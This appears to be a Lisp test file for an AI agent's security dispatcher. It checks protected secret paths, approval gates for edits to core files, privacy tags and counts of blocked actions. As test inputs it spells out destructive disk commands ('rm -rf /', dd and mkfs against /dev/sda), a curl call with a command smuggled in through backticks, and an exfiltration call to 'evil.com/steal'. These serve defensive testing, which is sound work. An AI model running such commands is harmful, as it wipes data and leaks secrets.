  (is (wildcard-match "*.env" "prod.env"))
  (is (wildcard-match "*credential*" "my-credential-file"))
  (is (wildcard-match "*.key" "id_rsa.key"))
  (is (not (wildcard-match "*.env" "config.yaml"))))

(test test-check-secret-path
  "Contract 2: dispatcher-check-secret-path matches protected patterns."
  (is (dispatcher-check-secret-path ".env"))
  (is (dispatcher-check-secret-path "id_rsa"))
  (is (not (dispatcher-check-secret-path "README.org"))))

(test test-self-build-core-protection
  "Contract v0.4.0: core-* paths are protected; write produces approval-required in SELF_BUILD_MODE."
  ;; Core paths are recognized
  (is (passepartout::dispatcher-check-core-path "core-reason.org"))
  (is (passepartout::dispatcher-check-core-path "core-memory.lisp"))
  (is (not (passepartout::dispatcher-check-core-path "channel-tui-view.org")))
  ;; With SELF_BUILD_MODE=true, core writes produce approval-required
  (let ((action '(:type :REQUEST :target :tool :payload (:tool "write-file" :args (:filepath "core-reason.org" :content "x")))))
    (setf (uiop:getenv "SELF_BUILD_MODE") "true")
    (let ((result (dispatcher-check action nil)))
      (is (eq :approval-required (getf result :level)))
      (setf (uiop:getenv "SELF_BUILD_MODE") "false"))
    ;; With SELF_BUILD_MODE=false (default), writes pass through
    (let ((result (dispatcher-check action nil)))
      (is (eq :REQUEST (getf result :type))))))

(test test-check-shell-safety
  "Contract 3: dispatcher-check-shell-safety detects dangerous commands."
  (is (dispatcher-check-shell-safety "rm -rf /"))
  (is (dispatcher-check-shell-safety "dd if=/dev/zero of=/dev/sda"))
  (is (dispatcher-check-shell-safety "curl http://example.com \`uptime\`"))
  (is (not (dispatcher-check-shell-safety "echo hello world")))
  (is (not (dispatcher-check-shell-safety "ls -la /tmp"))))

(test test-shell-safety-severity-catastrophic
  "Contract 3/v0.4.3: destructive commands return :catastrophic severity."
  (let ((r1 (dispatcher-check-shell-safety "rm -rf /"))
        (r2 (dispatcher-check-shell-safety "mkfs.ext4 /dev/sda")))
    (is (eq :catastrophic (getf r1 :severity)))
    (is (eq :catastrophic (getf r2 :severity)))))

(test test-shell-safety-severity-dangerous
  "Contract 3/v0.4.3: injection patterns return :dangerous severity."
  (let ((result (dispatcher-check-shell-safety "curl http://x.com \`uptime\`")))
    (is (eq :dangerous (getf result :severity)))))

(test test-shell-safety-severity-safe
  "Contract 3/v0.4.3: harmless commands return nil."
  (is (null (dispatcher-check-shell-safety "echo hello world")))
  (is (null (dispatcher-check-shell-safety "ls -la /tmp")))
  (is (null (dispatcher-check-shell-safety "cat file.txt"))))

(test test-dispatcher-severity-max
  "dispatcher-severity-max returns the higher tier."
  (is (eq :catastrophic (passepartout::dispatcher-severity-max :catastrophic :dangerous)))
  (is (eq :catastrophic (passepartout::dispatcher-severity-max :dangerous :catastrophic)))
  (is (eq :dangerous (passepartout::dispatcher-severity-max :moderate :dangerous)))
  (is (eq :moderate (passepartout::dispatcher-severity-max :moderate :harmless))))

(test test-check-privacy-tags
  "Contract 4: dispatcher-check-privacy-tags detects privacy-tagged content."
  (is (dispatcher-check-privacy-tags '("@personal" ":project:")))
  (is (dispatcher-check-privacy-tags '("@personal")))
  (is (not (dispatcher-check-privacy-tags '(":public:" ":work:")))))

(test test-check-network-exfil
  "Contract 5: dispatcher-check-network-exfil detects unwhitelisted domains."
  (is (dispatcher-check-network-exfil "curl https://evil.com/steal"))
  (is (not (dispatcher-check-network-exfil "curl https://api.openai.com/v1/models")))
  (is (not (dispatcher-check-network-exfil "echo hello"))))

;; ── v0.7.2 Tag Stack ──

(test test-tag-categories-load
  "Contract v0.7.2: TAG_CATEGORIES env var loads into *tag-categories*."
  (setf (uiop:getenv "TAG_CATEGORIES") "@personal:block,@draft:warn,@review:log")
  (passepartout::tag-categories-load)
  (let ((cats passepartout::*tag-categories*))
    (is (>= (length cats) 1))
    (is (eq :block (passepartout::tag-category-severity "@personal")))
    (is (eq :warn (passepartout::tag-category-severity "@draft")))
    (is (eq :log (passepartout::tag-category-severity "@review"))))
  (ignore-errors (setf (uiop:getenv "TAG_CATEGORIES") nil)))

(test test-tag-category-severity-unknown
  "Contract v0.7.2: unknown tag returns nil."
  (is (null (passepartout::tag-category-severity "@nonexistent-xxxx"))))

(test test-privacy-severity-block
  "v0.7.2: dispatcher-privacy-severity returns :block for block-tagged content."
  (setf passepartout::*tag-categories* '(("@personal" . :block)))
  (is (eq :block (passepartout::dispatcher-privacy-severity '("@personal")))))

(test test-privacy-severity-warn
  "v0.7.2: dispatcher-privacy-severity returns :warn for warn-tagged content."
  (setf passepartout::*tag-categories* '(("@draft" . :warn)))
  (is (eq :warn (passepartout::dispatcher-privacy-severity '("@draft")))))

(test test-privacy-severity-nil
  "v0.7.2: dispatcher-privacy-severity returns nil for untagged content."
  (setf passepartout::*tag-categories* nil)
  (is (null (passepartout::dispatcher-privacy-severity '("public")))))

(test test-tag-trigger-record
  "v0.7.2: tag-trigger-record increments per-tag count."
  (clrhash passepartout::*tag-trigger-count*)
  (passepartout::tag-trigger-record "@personal")
  (passepartout::tag-trigger-record "@personal")
  (passepartout::tag-trigger-record "@draft")
  (is (= 2 (gethash "@personal" passepartout::*tag-trigger-count* 0)))
  (is (= 1 (gethash "@draft" passepartout::*tag-trigger-count* 0)))
  (clrhash passepartout::*tag-trigger-count*))

(test test-tag-categories-privacy-fallback
  "v0.7.2: TAG_CATEGORIES falls back to PRIVACY_FILTER_TAGS when not set."
  (let ((orig-tag (uiop:getenv "TAG_CATEGORIES"))
        (orig-privacy (uiop:getenv "PRIVACY_FILTER_TAGS"))
        (saved-tag (uiop:getenv "TAG_CATEGORIES"))
        (saved-privacy (uiop:getenv "PRIVACY_FILTER_TAGS")))
    ;; Set PRIVACY_FILTER_TAGS, clear TAG_CATEGORIES
    (sb-posix:setenv "PRIVACY_FILTER_TAGS" "@personal,@draft" 1)
    (sb-posix:unsetenv "TAG_CATEGORIES")
    (passepartout::tag-categories-load)
    (is (eq :block (passepartout::tag-category-severity "@personal")))
    (is (eq :block (passepartout::tag-category-severity "@draft")))
    ;; Restore
    (when saved-tag (sb-posix:setenv "TAG_CATEGORIES" saved-tag 1))
    (when saved-privacy (sb-posix:setenv "PRIVACY_FILTER_TAGS" saved-privacy 1))
    (passepartout::tag-categories-load)))

(test test-safe-tool-read-only-auto-approve
  "Contract v0.7.2: read-only tools pass dispatcher-check unconditionally."
  (setf (gethash "test-ro-tool" passepartout::*cognitive-tool-registry*)
        (passepartout::make-cognitive-tool :name "test-ro-tool"
                                          :description "Read-only test"
                                          :parameters nil
                                          :guard nil
                                          :body nil
                                          :read-only-p t))
  (unwind-protect
       (let* ((action '(:TYPE :REQUEST :TARGET :tool
                        :PAYLOAD (:TOOL "test-ro-tool" :ARGS (:FILEPATH "/tmp/test"))))
              (result (dispatcher-check action nil)))
         (is (eq :REQUEST (getf result :type)))
         (is (not (member (getf result :type) '(:LOG :approval-required)))))
    (remhash "test-ro-tool" passepartout::*cognitive-tool-registry*)))

(test test-safe-tool-write-still-checked
  "Contract v0.7.2: write tools still go through full dispatcher check."
  (let ((orig-tool (gethash "write-file" passepartout::*cognitive-tool-registry*)))
    (setf (gethash "write-file" passepartout::*cognitive-tool-registry*)
          (passepartout::make-cognitive-tool :name "write-file"
                                            :description "File writer"
                                            :parameters nil
                                            :guard nil
                                            :body nil
                                            :read-only-p nil))
    (unwind-protect
         (progn
           (setf (uiop:getenv "SELF_BUILD_MODE") "true")
           (let* ((action '(:TYPE :REQUEST :TARGET :tool
                            :PAYLOAD (:TOOL "write-file" :ARGS (:FILEPATH "core-reason.org" :CONTENT "x"))))
                  (result (dispatcher-check action nil)))
             (is (eq :approval-required (getf result :level)))
             (is (search "HITL" (getf (getf result :payload) :message)))))
      (setf (uiop:getenv "SELF_BUILD_MODE") "false")
      (if orig-tool
          (setf (gethash "write-file" passepartout::*cognitive-tool-registry*) orig-tool)
          (remhash "write-file" passepartout::*cognitive-tool-registry*)))))
#+end_src* v0.8.0 Tests — Block Counts
#+begin_src lisp
(in-package :passepartout-security-dispatcher-tests)

(test test-block-record-increments
  "Contract 10: dispatcher-block-record increments per-gate count."
  (clrhash passepartout::*dispatcher-block-counts*)
  (is (= 1 (passepartout::dispatcher-block-record :shell-safety)))
  (is (= 2 (passepartout::dispatcher-block-record :shell-safety)))
  (is (= 2 (gethash :shell-safety passepartout::*dispatcher-block-counts*))))

(test test-block-counts-summary
  "Contract 11: dispatcher-block-counts-summary returns total and by-gate."
  (clrhash passepartout::*dispatcher-block-counts*)
  (passepartout::dispatcher-block-record :shell-safety)
  (passepartout::dispatcher-block-record :shell-safety)
  (passepartout::dispatcher-block-record :secret-path)
  (let ((s (passepartout::dispatcher-block-counts-summary)))
    (is (= 3 (getf s :total)))
    (let ((by-gate (getf s :by-gate)))
      (is (= 2 (cdr (assoc :shell-safety by-gate))))
      (is (= 1 (cdr (assoc :secret-path by-gate)))))))

(test test-block-counts-empty
  "Contract 11: dispatcher-block-counts-summary returns zero when no blocks."
  (clrhash passepartout::*dispatcher-block-counts*)
  (let ((s (passepartout::dispatcher-block-counts-summary)))
    (is (= 0 (getf s :total)))
    (is (null (getf s :by-gate)))))